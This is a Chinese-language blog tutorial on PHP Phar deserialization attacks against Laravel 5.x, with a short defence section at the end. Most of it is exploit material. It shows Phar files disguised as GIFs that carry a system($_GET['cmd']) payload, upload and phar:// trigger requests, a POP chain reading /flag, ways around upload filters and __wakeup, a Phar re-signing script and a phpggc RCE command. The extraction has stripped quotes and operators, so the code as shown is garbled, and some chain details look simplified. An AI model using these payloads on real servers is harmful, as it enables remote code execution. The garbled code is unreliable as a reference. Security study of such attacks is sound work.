PHP Phar反序列化漏洞深度解析:从原理到Laravel 5.x实战绕过

📅 2026/7/8 20:50:57
PHP Phar反序列化漏洞深度解析:从原理到Laravel 5.x实战绕过
PHP Phar反序列化漏洞深度解析从原理到Laravel 5.x实战绕过1. PHAR文件结构与反序列化机制PHARPHP Archive是PHP的打包格式类似于Java的JAR文件。它允许将多个PHP文件、资源等打包成一个单独的文件。PHAR文件由四部分组成Stub文件头部标识格式为xxx?php __HALT_COMPILER(); ?Manifest描述文件内容的元数据包括压缩文件信息和用户自定义的metadata以序列化形式存储File Contents实际的文件内容Signature可选用于验证文件完整性的签名关键漏洞点在于manifest部分存储的metadata会被反序列化处理。当PHP文件系统函数如file_exists()、file_get_contents()等通过phar://协议处理PHAR文件时会自动反序列化metadata数据。// PHAR文件生成示例 class Exploit { public $cmd system(whoami);; } $phar new Phar(exploit.phar); $phar-startBuffering(); $phar-setStub(GIF89a?php __HALT_COMPILER(); ?); // 伪装为GIF $phar-setMetadata(new Exploit()); // 注入恶意对象 $phar-addFromString(test.txt, test); $phar-stopBuffering();2. 触发PHAR反序列化的文件系统函数以下函数在使用phar://协议时可能触发反序列化函数类别具体函数示例文件检查file_exists(), is_file()文件内容操作file_get_contents(), fopen()文件信息获取stat(), fileatime()压缩文件处理zip_open(), rar_open()图像处理getimagesize(), exif_read_data()特殊触发场景MySQL的LOAD DATA LOCAL INFILE语句XXE攻击中通过phar://协议读取文件文件上传后的后续处理流程3. Laravel 5.x环境下的实战绕过技巧3.1 文件上传限制绕过Laravel常见的上传防御措施包括文件扩展名白名单验证MIME类型检测文件内容检查如图片头验证绕过方法修改PHAR文件头伪装成合法文件类型$phar-setStub(GIF89a?php __HALT_COMPILER(); ?); // 伪装GIF上传后修改文件扩展名如.phar改为.gif使用双重压缩如将PHAR文件打包为ZIP3.2 __wakeup魔术方法绕过当目标类包含__wakeup()方法时可能中断反序列化链。Laravel中常见的绕过方式对象属性数量不一致// 原始序列化数据 O:7:Example:1:{s:3:cmd;s:10:whoami;} // 修改属性数量 O:7:Example:2:{s:3:cmd;s:10:whoami;}利用PHP版本特性CVE-2016-71243.3 Laravel特定POP链构造以Laravel 5.8为例典型的反序列化利用链// 利用链核心组件 class ProcessPipe { private $process; public function __construct($process) { $this-process $process; } } class PendingCommand { protected $command; protected $parameters; public function __construct($cmd) { $this-command $cmd; $this-parameters []; } } // 构造恶意对象 $cmd new PendingCommand(cat /flag); $exploit new ProcessPipe($cmd);4. 实战案例Laravel文件上传PHAR反序列化组合攻击4.1 环境分析假设目标系统有以下特征Laravel 5.7框架存在文件上传功能仅允许图片类型上传后的文件会经过file_exists()检查4.2 攻击步骤生成恶意PHAR文件class Exploit { public function __destruct() { system($_GET[cmd]); } } $phar new Phar(exploit.phar); $phar-setStub(GIF89a?php __HALT_COMPILER(); ?); $phar-setMetadata(new Exploit()); $phar-addFromString(test.txt, test); $phar-stopBuffering(); rename(exploit.phar, exploit.gif);上传伪装文件POST /upload HTTP/1.1 Content-Type: multipart/form-data ------WebKitFormBoundary Content-Disposition: form-data; namefile; filenameexploit.gif Content-Type: image/gif [PHAR文件二进制内容]触发反序列化GET /process?filephar://storage/app/public/exploit.gifcmdid HTTP/1.14.3 防御措施对比防御措施有效性绕过方法文件扩展名检查低修改PHAR文件头MIME类型验证中伪造合法MIME类型文件内容检测高双重压缩/加密禁用phar协议极高无直接绕过方法5. 高级绕过技术与工具5.1 PHAR签名绕过当服务器验证文件签名时可使用以下Python脚本重新计算签名from hashlib import sha1 with open(exploit.phar, rb) as f: content f.read() data content[:-28] # 去除原签名 signature sha1(data).digest() new_content data signature content[-8:] # 添加新签名和尾部标识 with open(exploit_signed.phar, wb) as f: f.write(new_content)5.2 无文件写入技巧当无法直接上传PHAR文件时可尝试通过SQL注入写入文件利用日志文件注入PHAR标记使用php://filter转换现有文件5.3 自动化工具推荐PHPGGC针对常见框架的PHAR生成工具phpggc Laravel/RCE5 system id -p phar -o exploit.pharPhar-Jacker可视化PHAR文件生成工具自定义脚本针对特定环境的专用生成器6. 防御建议与最佳实践开发人员防护方案禁用不必要的协议; php.ini配置 allow_url_fopen Off allow_url_include Off严格限制文件上传// Laravel验证示例 $request-validate([ file required|file|mimetypes:image/jpeg|max:2048, ]);使用自定义反序列化处理器系统管理员措施定期更新PHP版本限制危险函数disable_functions exec,passthru,shell_exec,system部署WAF规则拦截phar协议请求在实际项目中我曾遇到一个案例某系统通过检查文件前5字节防御PHAR攻击但攻击者通过在metadata中插入大量空白字符使恶意代码偏移到检测范围之外。这提醒我们防御措施需要多层次、全方位。